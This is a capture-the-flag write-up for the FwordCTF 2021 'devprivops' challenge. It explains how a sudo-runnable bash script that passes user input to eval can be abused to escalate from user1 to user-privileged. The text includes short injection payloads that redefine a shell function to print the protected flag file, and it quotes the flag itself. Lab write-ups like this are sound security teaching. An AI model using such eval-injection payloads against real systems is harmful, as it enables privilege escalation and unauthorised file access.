## Intro**devprivops** was a bash challenge at FwordCTF 2021.  
You were given access to a linux machine through SSH as _user1_. In the home directory of the user two files of interest can be found - a [shell script](devops.sh) and a `flag.txt`. Both files belong to root and only another user on the system called _user-privileged_ was granted read access to the flag.
```user1@da8cb1333b60:/home/user1$ ls -latotal 32drwxrwxr-t 1 root  user1           4096 Aug 27 22:44 ./drwxr-xr-x 1 root  root            4096 Aug 27 22:43 ../-rw-r--r-- 1 user1 user1            220 Feb 25  2020 .bash_logout-rw-r--r-- 1 user1 user1           3771 Feb 25  2020 .bashrc-rw-r--r-- 1 user1 user1            807 Feb 25  2020 .profile-rwxr-xr-x 1 root  user-privileged  945 Aug 27 22:09 devops.sh*-rwxr----- 1 root  user-privileged   67 Aug 27 22:09 flag.txt*```
Let's escalate!
## InvestigationBy inspecting the shell script we learn that we can supply two parameters `-d` and `-p`.  
The `-d` parameter block essentially lets us input the name of a function which gets defined by `eval` and exported afterwards.
```bashif [[ deploy -eq 1 ]];then        echo -ne "Please enter your true name if you are a shinobi\n"          read -r name        eval "function $name { terraform init &>/dev/null && terraform apply &>/dev/null ; echo \"It should be deployed now\"; }"        export -f $namefi```
Unfortunately, it seems we can never run it since it's impossible to get past the admin check.
```bashisAdmin=0# Ofc only admins can deploy stuffs o//if [[ $isAdmin -eq 1 ]];then        $namefi```
Or can we?
The evaluation of the `-p` parameter block follows directly after and prints out our current permissions by calling `id`.
```bashif [[ $permission -eq 1 ]];then        echo "You are: "         idfi```
## SolutionA quick `sudo -l` reveals we have the ability to execute [devops.sh](devops.sh) as the _user-privileged_.
```user1@7c47d98c8907:/home/user1$ sudo -lMatching Defaults entries for user1 on 7c47d98c8907:    env_reset, mail_badpass,    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User user1 may run the following commands on 7c47d98c8907:    (user-privileged) NOPASSWD: /home/user1/devops.sh```
So we execute the script as `sudo -u user-privileged ./devops.sh -d -p` and input the payload `id { cat flag.txt; }; #`, overwriting the `id` function with our malicious one. When the `-p` parameter block gets evaluated afterwards and our `id` is called, the flag gets exposed!
> FwordCTF{W00w_KuR0ko_T0ld_M3_th4t_Th1s_1s_M1sdirecti0n_BasK3t_FTW}
##### EditA cleaner and simpler payload not relying on the execution of the `-p`parameter block would have been `f { cat flag.txt; }; f; #` evaluating our malicious function immediately.